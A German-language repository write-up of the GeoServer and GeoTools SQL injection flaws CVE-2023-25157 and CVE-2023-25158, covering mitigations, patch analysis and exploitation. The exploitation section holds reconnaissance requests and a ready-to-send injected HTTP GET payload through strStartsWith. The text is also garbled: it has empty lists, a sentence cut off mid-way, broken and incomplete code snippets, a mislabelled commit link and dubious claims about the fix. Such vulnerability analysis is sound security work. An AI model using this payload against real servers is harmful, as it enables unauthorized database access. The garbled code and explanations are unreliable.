murataydemir/cve-2023-25157-and-cve-2023-25158GeoServer & GeoTools SQL Injection (CVE-2023-25157 & CVE-2023-25158)
Dieses Repository enthält eine detaillierte Beschreibung und Wiederholungsschritte der SQL-Injection-Schwachstellen, die in der GeoServer-Plattform und der GeoTools-Bibliothek gefunden wurden. Die Schwachstelle wurde mit der Kennung CVE-2023-25157 für GeoServer und CVE-2023-25158 für GeoTools versehen.
GeoServer ist ein quelloffener Softwareserver, der in Java geschrieben ist und die Möglichkeit bietet, Geodaten anzuzeigen, zu bearbeiten und zu teilen. Er ist als flexible, effiziente Lösung für die Verteilung von Geodaten aus verschiedenen Quellen wie Geoinformationssystem (GIS)-Datenbanken, webbasierten Daten und persönlichen Datensätzen konzipiert.
GeoServer hält sich an die Standards des Open Geospatial Consortium (OGC) für den Datenaustausch, einschließlich des Web Feature Service (WFS), Web Map Service (WMS) und Web Coverage Service (WCS). Diese Einhaltung von Standards bedeutet, dass Daten von GeoServer in einer Vielzahl von Anwendungen verwendet werden können, von kundenspezifischer GIS-Software bis hin zu Standardlösungen.
GeoServer ist hauptsächlich auf dem Spring Framework aufgebaut, verwendet jedoch auch eine Reihe anderer Libraries und Frameworks, darunter:
GeoTools: Eine quelloffene Java-Bibliothek, die Werkzeuge für Geodaten bereitstellt. GeoServer verwendet GeoTools für viele seiner Kernfunktionen, wie das Lesen, Schreiben und Transformieren von Daten.Die betreffenden Schwachstellen sind tief in den Filter- und Funktionsausdrücken verankert, die durch die Standards des Open Geospatial Consortium (OGC) definiert sind. Diese Ausdrücke bilden das Rückgrat der Abfrage und Manipulation von Geodaten und spielen eine zentrale Rolle in der Funktionalität von Systemen wie GeoServer und GeoTools.
Bei Ausnutzung dieser Schwachstellen kann es zu schwerwiegenden Sicherheitsverletzungen kommen. Die unbefugte Offenlegung von Informationen ist ein Hauptanliegen, da Angreifer potenziell auf in der Datenbank gespeicherte sensible Daten zugreifen können. Eine unbefugte Änderung ist ein weiteres mögliches Ergebnis, bei dem Angreifer Daten zu ihrem Vorteil manipulieren können. Darüber hinaus können diese Schwachstellen auch Dienstunterbrechungen begünstigen, wobei ein erfolgreicher Exploit möglicherweise zur Nichtverfügbarkeit des Dienstes führen kann.
Im Folgenden wird eine eingehende Analyse jeder identifizierten Schwachstelle gegeben. Jede Schwachstelle wird detailliert untersucht, wobei ihre spezifischen Merkmale, die Bedingungen, die zu ihrer Manifestation führen, und die potenziellen Auswirkungen ihrer Ausnutzung diskutiert werden. Hier ist eine detaillierte Aufschlüsselung der für GeoServer gefundenen Schwachstellen:
PropertyIsLike-Filter: Diese Schwachstelle ist vorhanden, wenn der PropertyIsLike-Filter mit einem String-Feld in Verbindung mit einem beliebigen relationalen datenbankbasierten Store, einem PostGIS DataStore mit aktivierten Encode-Funktionen oder einem Bildmosaik mit einem in einer relationalen Datenbank gespeicherten Index verwendet wird.strEndsWith-Funktion: Diese Schwachstelle tritt auf, wenn die strEndsWith-Funktion mit einem PostGIS DataStore mit aktivierten Encode-Funktionen verwendet wird.strStartsWith-Funktion: Diese Schwachstelle tritt auf, wenn die strStartsWith-Funktion mit einem PostGIS DataStore mit aktivierten Encode-Funktionen verwendet wird.FeatureId-Filter: Diese Schwachstelle ist vorhanden, wenn der FeatureId-Filter mit einer Datenbanktabelle mit einer String-Primärschlüsselspalte und deaktivierten Prepared Statements verwendet wird.jsonArrayContains-Funktion: Diese Schwachstelle tritt auf, wenn die jsonArrayContains-Funktion mit einem String- oder JSON-Feld und einem PostGIS- oder Oracle-DataStore verwendet wird (nur in GeoServer 2.22.0 und späteren Versionen).DWithin-Filter: Diese Schwachstelle wird entdeckt, wenn der DWithin-Filter mit einem Oracle DataStore verwendet wird.Und hier ist eine detaillierte Aufschlüsselung der für GeoTools gefundenen Schwachstellen:
PropertyIsLike-Filter:
strEndsWith-Funktion:
strStartsWith-Funktion:
FeatureId-Filter:
jsonArrayContains-Funktion:
DWithin-Filter:
CVE-2023-25157 GeoServer SQL Injection betroffen.CVE-2023-25158 GeoTools SQL Injection betroffen.Die empfohlene Vorgehensweise sowohl für die GeoServer SQL Injection (CVE-2023-25157) als auch für die GeoTools SQL Injection (CVE-2023-25158) Schwachstellen ist die Aktualisierung auf die genannten Versionen oder höher. Wenn dieses Upgrade abgeschlossen ist, sind keine weiteren Schritte erforderlich. Für diejenigen, die Schwierigkeiten haben, schnell zu aktualisieren, hat das Geo-Team jedoch einige alternative Lösungen bereitgestellt.
Deaktivieren der Einstellung für Encode-Funktionen im PostGIS DataStore zur Minderung der strEndsWith- und strStartsWith-Schwachstellen (ähnliche Filter haben keine Abhilfe, wenn in dem veröffentlichten Feature-Typ ein String-Feld vorhanden ist).
Aktivieren der Einstellung für preparedStatements im PostGIS DataStore zur Minderung der FeatureId-Schwachstelle.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
Als bewährte Methode zur Begrenzung der Angriffsfläche ist es wichtig, dem für Verbindungspools verwendeten Datenbankkonto die minimal erforderlichen Berechtigungen zu erteilen (z. B. schreibgeschützt, sofern nicht WFS-T/Importer/REST-Granulat-Ernte verwendet werden, Zugriff nur auf die für den Produktionseinsatz benötigten Schemata und Tabellen beschränken)
- Für den `PropertyIsLike`-Filter ist keine Abhilfe verfügbar. Sie können Datenbank-DatenStores deaktivieren, bis Sie ein Upgrade durchführen können.
- Für `DWithin` mit Oracle DataStore ist keine Abhilfe verfügbar. Sie können Oracle-DatenStores deaktivieren, bis Sie ein Upgrade durchführen können.
### <b>Patch-Analyse: GitHub-Issue und zugehörige Commits</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nachfolgend finden Sie Links zu mehreren relevanten JIRA-Issues, die sich auf die in GeoServer und GeoTools gefundenen SQL-Injection-Schwachstellen beziehen. Diese Links bieten Zugang zu wichtigen Daten, Diskussionen und vorgeschlagenen Lösungen im Zusammenhang mit diesen spezifischen Schwachstellen.
- [GEOS-10842: JDBCConfig: Benutzereingaben in SQL-Abfragen escapen](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: JDBC-Konfigurationsparameter zum Deaktivieren von SQL-Kommentaren und hübscher Formatierung hinzufügen](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: Benutzereingaben in SQL-Abfragen escapen](https://osgeo-org.atlassian.net/browse/GEOT-7302)
Betrachtet man den Commit [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), sind die folgenden Änderungen deutlich zu erkennen:
- In [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java) werden ein Eigenschaftsfeld hinzugefügt und Konstruktoren geändert, um dieses Eigenschaftsfeld einzubeziehen. Dies ermöglicht eine stärkere Anpassung der Datenbankkonfiguration und potenziell verbesserte Sicherheitsmaßnahmen. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) ist eine vom Spring Framework bereitgestellte Klasse, die die Programmierung von JDBC-Anweisungen mit benannten Parametern unterstützt, im Gegensatz zur Programmierung mit klassischen Platzhaltern ('?'). Im Commit wird der `ConfigDatabase`-Konstruktor aktualisiert, um eine `DataSource` zu übernehmen und daraus ein `NamedParameterJdbcTemplate` zu erstellen. Benannte Parameter verbessern die Lesbarkeit und können SQL-Injection-Angriffe verhindern, da deutlich wird, dass das Argument parametrisiert und nicht Teil des SQL-Befehls ist.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
Die eigentliche SQL-Injection-Schwachstelle scheint durch sicherere SQL-Konstruktion und -Ausführung behoben worden zu sein, insbesondere durch die Verwendung parametrisierter Abfragen anstelle von String-Verkettung, wie in den Änderungen an den template.queryForObject-Aufrufen zu sehen ist. Anstelle von sql.toString() wird die Variable sql selbst verwendet, die offenbar eine sicher konstruierte SQL-Anweisung darstellt.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
Das StringBuilder-Objekt `sql` in [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) wird durch ein String-Objekt ersetzt. Diese Änderung kann bedeutend sein, um SQL-Injection-Angriffe zu verhindern, da StringBuilder-Objekte, die veränderbar sind, zu unbeabsichtigten oder böswilligen Modifikationen der SQL-Abfrage führen können. Das Ersetzen durch ein String-Objekt, das unveränderlich ist, kann helfen, solche Modifikationen zu verhindern und somit SQL-Injection zu vermeiden.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeComment wurde zur Klasse Dialect.java hinzugefügt. Diese Methode nimmt einen Kommentar-String entgegen und escaped potenziell gefährliche Zeichen darin. Insbesondere scheint sie die öffnenden und schließenden SQL-Kommentarzeichen ('\/*' and '\*/') zu escapen, die bei einigen SQL-Injection-Angriffen verwendet werden.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- Anhängen von Kommentaren an SQL: Der Klasse [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) wurde eine neue Methode `appendComment` hinzugefügt, um Objekte als Kommentar an das SQL anzuhängen. Wenn der Debug-Modus nicht aktiviert ist, geben diese Methoden einfach das ursprüngliche SQL zurück. Wenn der Debug-Modus aktiviert ist, hängen sie die Zeichenfolgendarstellung der bereitgestellten Objekte in Form eines Kommentars an das SQL an. Die Kommentare werden mit der Methode `escapeComment` sicher maskiert.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
Zeichenketten bedingt an SQL anhängen: Die Methode appendIfDebug wurde zur Dialect-Klasse hinzugefügt. Diese Methode hängt eine von zwei bereitgestellten Zeichenketten an das SQL an, abhängig davon, ob der Debug-Modus aktiviert ist. In der Klasse Dialect.java wird ein Feld debugMode hinzugefügt und eine Methode setDebugMode() bereitgestellt, um dessen Zustand zu ändern. Dieser Debug-Modus wird dann in der Methode detect() verwendet.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
Betrachtet man den Commit [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), sind folgende Änderungen deutlich zu erkennen, jeweils:
- Die Hinzufügung des `escapeBackslash`-Feldes in der Klasse [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) ist eine Vorsichtsmaßnahme, um bestimmte Formen von SQL-Injection zu verhindern, bei denen das Backslash-Zeichen verwendet wird, um Sonderzeichen in der SQL-Syntax zu escapen. Indem die Entwickler die Option bieten, Backslashes in String-Literalen zu escapen, erlauben sie der Anwendung, Backslash-Zeichen als einfachen Text und nicht als Escape-Zeichen zu behandeln, was wiederum die Möglichkeiten für SQL-Injection einschränken kann.
Diese Änderungen wirken zusammen, um SQL-Injection zu verhindern, indem sichergestellt wird, dass Sonderzeichen in String-Literalen (wie einfache und doppelte Anführungszeichen sowie Backslashes) ordnungsgemäß escaped werden, bevor sie in eine SQL-Abfrage eingefügt werden. Dies ist eine gängige Methode, um SQL-Injection-Schwachstellen zu entschärfen. Wenn `escapeBackslash` auf true gesetzt ist, werden Backslashes in String-Literalen escaped, wenn die Methode [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) der Klasse [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) aufgerufen wird. Diese Methode wird an verschiedenen Stellen in der Klasse [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) verwendet, um String-Literale zu escapen, bevor sie in eine SQL-Abfrage eingefügt werden. Zum Beispiel die [Zeile 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
ist eine Stelle, an der diese Methode aufgerufen wird und an der die escapeBackslash-Einstellung wirksam wird. Im ursprünglichen Code ersetzte die Anwendung manuell einfache Anführungszeichen durch zwei einfache Anführungszeichen, was eine gängige Methode ist, um einfache Anführungszeichen in SQL zu escapen. Dies ist wichtig, da nicht escapede einfache Anführungszeichen einem Angreifer ermöglichen können, ein String-Literal vorzeitig zu beenden und eigene SQL-Befehle anzuhängen, was zu einer SQL-Injection-Sicherheitslücke führt.
Im modifizierten Code ruft die Anwendung anstelle des manuellen Ersetzens von einfachen Anführungszeichen nun die escapeLiteral() Methode aus der EscapeSql.java Klasse auf. Diese Methode ist darauf ausgelegt, nicht nur einfache Anführungszeichen, sondern auch Backslashes und je nach Parametern möglicherweise doppelte Anführungszeichen zu escapen:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
Dadurch kann die Anwendung sicherstellen, dass alle Sonderzeichen im SQL-String ordnungsgemäß escaped werden, was ein robusterer und sicherer Ansatz zur Verhinderung von SQL-Injection ist.
- Änderungen in der Methode `convertToSQL92`: Die Methode `LikeFilterImpl.convertToSQL92` wandelt ein Muster aus der standardmäßigen SQL 'LIKE'-Syntax in die SQL-92-Syntax um. In diesem Commit wurde dieser Methode ein neuer Parameter hinzugefügt. Die Änderung gegenüber der Methode in der Klasse [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) in [Zeile 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
scheint ein Flag hinzuzufügen, das wahrscheinlich den Musterkonvertierungsprozess beeinflusst. Zuvor enthielt der Methodenaufruf nicht den Parameter false am Ende. Dieser false-Wert bezieht sich vermutlich darauf, ob bestimmte Zeichen in der literal-Zeichenkette während des Konvertierungsprozesses escaped werden oder nicht. Escaping kann helfen, SQL-Injection zu verhindern, indem sichergestellt wird, dass Sonderzeichen in der literal-Zeichenkette nicht als Teil der SQL-Syntax interpretiert werden, sondern als einfache Textwerte.
out.write() durch writeLiteral(): Die Ersetzung von out.write() durch writeLiteral() ist eine weitere wesentliche Änderung. Die Methode out.write() schreibt die übergebene Zeichenkette einfach so in den Ausgabestrom, ohne zusätzliche Verarbeitung oder Escaping. Dies könnte potenziell zu SQL-Injection führen, wenn die Zeichenkette unescapte SQL-Syntax enthält.```java
writeLiteral(pattern);- Auf der anderen Seite wendet `writeLiteral()` vermutlich eine Form von Escaping oder Säuberung auf den String an, bevor er in den Ausgabestrom geschrieben wird, wodurch das Risiko von SQL-Injection verringert wird. Diese Änderung ersetzt auch eine direkte Schreiboperation durch einen Aufruf von `writeLiteral()`, der wahrscheinlich Vorsichtsmaßnahmen zur Verhinderung von SQL-Injection enthält.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
Um diese Schwachstellen richtig auszunutzen, ist es zunächst erforderlich, Folgendes zu erhalten:
entsprechend. Daher wird die folgende Anfrage an den Zielserver gesendet, um verfügbare Funktionsnamen zu erhalten.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
Nachdem wir die verfügbaren Feature-Namen erhalten haben, müssen wir die folgende HTTP-Anfrage senden, um die verfügbaren Eigenschaften für die relevanten verfügbaren Features abzurufen.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Nach den beiden oben gezeigten HTTP-Anfragen listen wir alle verfügbaren Feature-Namen und die zugehörigen Property-Namen auf. Nach dieser Phase können wir den Ausnutzungsprozess durchführen, indem wir die böswillige HTTP-Anfrage mit injizierter SQL-Payload an den Server für jede abgerufene Property senden.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
### <b>Fazit</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Zusammenfassend dient die Entdeckung dieser SQL-Injection-Schwachstellen in GeoServer und GeoTools, wie in CVE-2023-25157 und CVE-2023-25158 beschrieben, als eindringliche Erinnerung an die allgegenwärtigen Bedrohungen in der digitalen Landschaft. Diese Schwachstellen, die in den OGC-Filter- und Funktionsausdrücken des Kerns liegen, haben das Potenzial, erhebliche Störungen und unbefugten Datenzugriff oder -änderungen zu verursachen.
Weitere Informationen zur Behebung dieser Schwachstellen finden Sie auf den folgenden Ressourcen:
- Der Commit zur Behebung der Schwachstelle: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- Der Commit zur Behebung der Schwachstelle: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [GeoServer OGC Filter SQL Injection Schwachstelle](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) und [GeoTools OGC Filter SQL Injection Schwachstelle](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub Advisory Database (GitHub überprüft): GeoServer SQL Injection](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [GeoServer Advisory Database: SQL Injection in GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) und [GeoTools Advisory Database: SQL Injection in GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [NIST Advisory für GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) und [NIST Advisory für GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [MITRE Advisory für GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) und [MITRE Advisory für GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)